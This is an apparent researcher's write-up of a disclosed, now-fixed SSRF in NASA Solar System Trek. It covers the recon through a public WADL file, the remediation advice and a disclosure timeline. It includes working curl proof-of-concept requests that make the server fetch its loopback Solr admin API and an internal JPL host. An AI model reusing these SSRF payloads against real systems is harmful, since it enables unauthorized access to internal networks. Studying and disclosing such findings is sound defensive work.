August 20, 2026
How a Single Unauthenticated Endpoint Let Me Reach NASA's Internal Network
An unauthenticated SSRF in NASA Solar System Trek, from public recon to a signed Letter of Recognition

By n0RollBack
6 min read
By n0RollBack, security researcher
Some bugs are loud. They throw stack traces, spill internal hostnames, and hand you a map of a network you were never supposed to see. This is the story of one of them: an unauthenticated Server-Side Request Forgery in NASA's Solar System Trek platform that let an anonymous request from the public internet reach services running deep inside NASA JPL infrastructure.
NASA validated it, accepted it as a High impact issue, resolved it, issued me a signed Letter of Recognition from the Office of the Chief Information Officer, and has now approved the public disclosure. So I can finally tell the whole thing, end to end.
If you have ever thought government t
argets are only for elite researchers, ead this. The path was methodical, not magical.
The program
NASA runs a Vulnerability Disclosure Program on Bugcrowd. It is open to anyone who reports in good faith. There is no bounty. The reward is recognition: a place in NASA's public Hall of Fame and, for valid findings that get fixed, a Letter of Recognition signed by NASA's Senior Agency Information Security Officer.
The scope is deliberately narrow and deliberately serious. You are testing a federal system under continuous monitoring, with the Computer Fraud and Abuse Act sitting behind the rules of engagement. Read-only. In-scope only. No exfiltration. The moment you touch anything sensitive, you stop. That discipline is not optional here, and honestly it should be the default everywhere.
The in-scope surface included nasa.gov and its NASA-managed subdomains. One of those subdomains is trek.nasa.gov, the home of NASA Solar System Trek, a set of interactive mapping tools for the Moon, Mars, and other bodies, built and operated by JPL.
Recon: reading the map before touching the terrain
The finding did not start with a scanner. It started with a WADL file.
Trek exposes a Jersey web-services layer. Jersey, by default, publishes a Web Application Description Language document that enumerates every registered resource and method. On this host it was sitting in the open:
https://trek.nasa.gov/moon/TrekServices/ws/application.wadlhttps://trek.nasa.gov/moon/TrekServices/ws/application.wadlThat single file described 138 paths and 144 methods. It is the kind of artifact that turns blind probing into targeted reading. And near the top, it leaked something it should never have exposed to the public internet: the base resource URL of an internal backend.
<resources base="http://moontrek-protected.jpl.nasa.gov:8080/TrekServices/ws/"><resources base="http://moontrek-protected.jpl.nasa.gov:8080/TrekServices/ws/">An internal JPL hostname, on port 8080, named moontrek-protected. Ironic naming aside, that hostname is not directly reachable from the public internet. Note it and keep reading the WADL.
Among the enumerated methods was one that immediately looked interesting:
/outreach/eq/addManifest/outreach/eq/addManifestAn endpoint that takes something called a manifest URL is a classic SSRF candidate. Anything that accepts a URL and does something server-side with it deserves a closer look.
The vulnerability
The endpoint accepted an unauthenticated GET request with two parameters:
GET /moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=<uuid>&manifestURL=<url> HTTP/2
Host: trek.nasa.govGET /moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=<uuid>&manifestURL=<url> HTTP/2
Host: trek.nasa.govNo cookie. No Authorization header. No API key. The server takes the manifestURL value, fetches it, and parses the response body as JSON. There was no scheme validation, no host allowlist, and no block on internal address ranges.
That is the whole vulnerability in one sentence: user-controlled URL, fetched server-side, no validation. The interesting part is what that let me prove.
Step 1: prove the server makes outbound requests
I pointed manifestURL at a hostname that does not resolve:
curl -sk "https://trek.nasa.gov/moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=00000000-0000-0000-0000-000000000000&manifestURL=https://example.invalid/"curl -sk "https://trek.nasa.gov/moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=00000000-0000-0000-0000-000000000000&manifestURL=https://example.invalid/"The server answered with a Java stack trace:
java.net.UnknownHostException: example.invalid
at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:184)
at sun.net.www.http.HttpClient.openServer(HttpClient.java:465)
at gov.nasa.jpl.trek.services.OutreachService.addManifest(OutreachService.java:166)java.net.UnknownHostException: example.invalid
at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:184)
at sun.net.www.http.HttpClient.openServer(HttpClient.java:465)
at gov.nasa.jpl.trek.services.OutreachService.addManifest(OutreachService.java:166)That confirmed three things at once. The server actively performs DNS resolution and outbound HTTP using my input. The exact vulnerable code path is OutreachService.addManifest at line 166. And the application is verbose enough to hand me its internal reflections in error bodies, which is how the entire proof was built without ever touching real data.
Notice the item_UUID: I used all zeros for every single request, precisely so I would never interact with a real outreach record. Small choices like that are the difference between a clean government report and a policy violation.
Step 2: reach the server's own loopback interface
Next I aimed at the server's localhost:
curl -sk "https://trek.nasa.gov/moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=00000000-0000-0000-0000-000000000000&manifestURL=http://127.0.0.1:8983/solr/admin/cores?wt=json"curl -sk "https://trek.nasa.gov/moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=00000000-0000-0000-0000-000000000000&manifestURL=http://127.0.0.1:8983/solr/admin/cores?wt=json"Response:
JSONObject["SLIDESHOWS"] not found.
at org.json.JSONObject.get(JSONObject.java:471)
at org.json.JSONObject.getJSONArray(JSONObject.java:618)
at gov.nasa.jpl.trek.services.OutreachService.addManifest(OutreachService.java:167)JSONObject["SLIDESHOWS"] not found.
at org.json.JSONObject.get(JSONObject.java:471)
at org.json.JSONObject.getJSONArray(JSONObject.java:618)
at gov.nasa.jpl.trek.services.OutreachService.addManifest(OutreachService.java:167)Read that error carefully. The server reached http://127.0.0.1:8983/solr/admin/cores, got back valid JSON from the Solr admin API, and then failed only because that JSON did not contain a field called SLIDESHOWS. The failure is the proof. The application successfully talked to an internal Solr administrative interface on port 8983, an interface that has no business being reachable from the outside, and it did so on my behalf.
Step 3: reach the internal JPL backend
Now the hostname from the WADL comes back. I asked Trek to fetch its own internal backend:
curl -sk "https://trek.nasa.gov/moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=00000000-0000-0000-0000-000000000000&manifestURL=http://moontrek-protected.jpl.nasa.gov:8080/"curl -sk "https://trek.nasa.gov/moon/TrekServices/ws/outreach/eq/addManifest?item_UUID=00000000-0000-0000-0000-000000000000&manifestURL=http://moontrek-protected.jpl.nasa.gov:8080/"Response:
A JSONObject text must begin with '{' at 4 [character 1 line 4]
at org.json.JSONObject.<init>(JSONObject.java:195)
at gov.nasa.jpl.trek.services.OutreachService.addManifest(OutreachService.java:166)A JSONObject text must begin with '{' at 4 [character 1 line 4]
at org.json.JSONObject.<init>(JSONObject.java:195)
at gov.nasa.jpl.trek.services.OutreachService.addManifest(OutreachService.java:166)The server reached moontrek-protected.jpl.nasa.gov:8080, received an HTML response from the internal backend, and choked trying to parse HTML as JSON. In plain terms: an anonymous request from the public internet just caused a NASA host to make a request to an internal JPL service that is not otherwise reachable from the outside. That is the crossing of a trust boundary, and it is the core of the impact.
The vulnerable code path
Every stack trace pointed at the same two lines:
gov.nasa.jpl.trek.services.OutreachService.addManifest
line 166: new JSONObject(httpGet(manifestURL))
line 167: json.getJSONArray("SLIDESHOWS")gov.nasa.jpl.trek.services.OutreachService.addManifest
line 166: new JSONObject(httpGet(manifestURL))
line 167: json.getJSONArray("SLIDESHOWS")The user-supplied manifestURL goes straight into an HTTP fetch, and the response body goes straight into a JSON parser. No allowlist, no scheme check, no internal-range block anywhere in between.
Impact and why I stopped where I did
This was classified as P2, High impact, with a CVSS 3.1 vector of AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N, scoring 8.6.
An unauthenticated attacker could make trek.nasa.gov issue arbitrary outbound GET requests from its server-side network context, reaching the server's loopback interface and internal JPL hostnames that the public cannot touch directly. From there, an SSRF like this is a pivot: internal admin interfaces, service-to-service endpoints, and in many cloud deployments the metadata service.
I did not test the metadata endpoints. I did not port-scan the internal range. I did not chain further. The NASA VDP rules of engagement are explicit, and the responsible move once impact is established is to stop, document, and report. The proof above was already conclusive, and it was built entirely from reflected error messages. No NASA data was retrieved or exfiltrated beyond what the server volunteered in its own stack traces.
Remediation
The fix recommendations I submitted, in priority order:
- Authenticate
/outreach/eq/addManifest, or remove it from the public API surface if it was never meant to be public. - Validate
manifestURLagainst a strict allowlist of trusted hosts. - Block requests to private, loopback, link-local, and internal ranges: 127.0.0.0/8, 10.0.0.0/8, 169.254.0.0/16, 172.16.0.0/12, 192.168.0.0/16, and the internal JPL ranges.
- Apply DNS pinning: resolve the host before the fetch and re-validate after any redirect.
- Set strict outbound timeout and response-size limits.
- Disable the Jersey WADL exposure with
com.sun.jersey.config.feature.DisableWADL=true. - Audit every other manifestURL-style parameter in OutreachService and the neighboring planet endpoints for the same pattern.
The stack was also running dated components, Apache Tomcat 8.5.4 and Jersey 1.19. Their age is context, not the root cause. The root cause is unvalidated user input flowing into a server-side fetch.
The timeline
- 27 May 2026: reported to NASA VDP.
- 28 May 2026: triaged and accepted as a valid P2 issue. Twelve minutes from triage to acceptance, zero back-and-forth.
- 03 Aug 2026: resolved.
- 04 Aug 2026: Letter of Recognition issued, signed by NASA's Senior Agency Information Security Officer at the Office of the Chief Information Officer.
- 20 Aug 2026: public disclosure approved.
What I would tell my earlier self
A few things this one reinforced.
Read the surface before you attack it. The whole finding hinged on a WADL file that most automated pipelines would have walked straight past. The internal hostname that made the impact undeniable was sitting in that same file. Recon is reading, not just enumerating.
Errors are evidence. I never had to exfiltrate anything. The server described its own internal reachability in stack traces, and a careful reading of a failed JSON parse was enough to prove a trust-boundary crossing. Sometimes the most convincing proof is the exception the application throws while trying and failing to misuse your input.
Impact is the report. Finding a URL parameter that fetches is easy. Demonstrating, cleanly and minimally, that it reaches an internal-only backend is what turns a curiosity into a High. Prove the reach, name the boundary, then stop.
Discipline is half the report on a government target. Read-only, in-scope, all-zeros identifiers, one VPN egress, no pivoting past the point of proof. On a federal system that discipline is what keeps safe harbor real, and it is also just how you should operate everywhere.
And the one that matters most: do not let a target's prestige talk you out of trying. NASA felt out of reach until it was a line in my Hall of Fame entry. The program is open. The bugs are real. The only gate is whether you read carefully and refuse to conclude "nothing here" after the first negative.
Curiosity is the ultimate exploit.
Tested under NASA's VDP rules of engagement: remote-only, in-scope assets, read-only, no exfiltration. All technical details in this article are published with NASA's disclosure approval.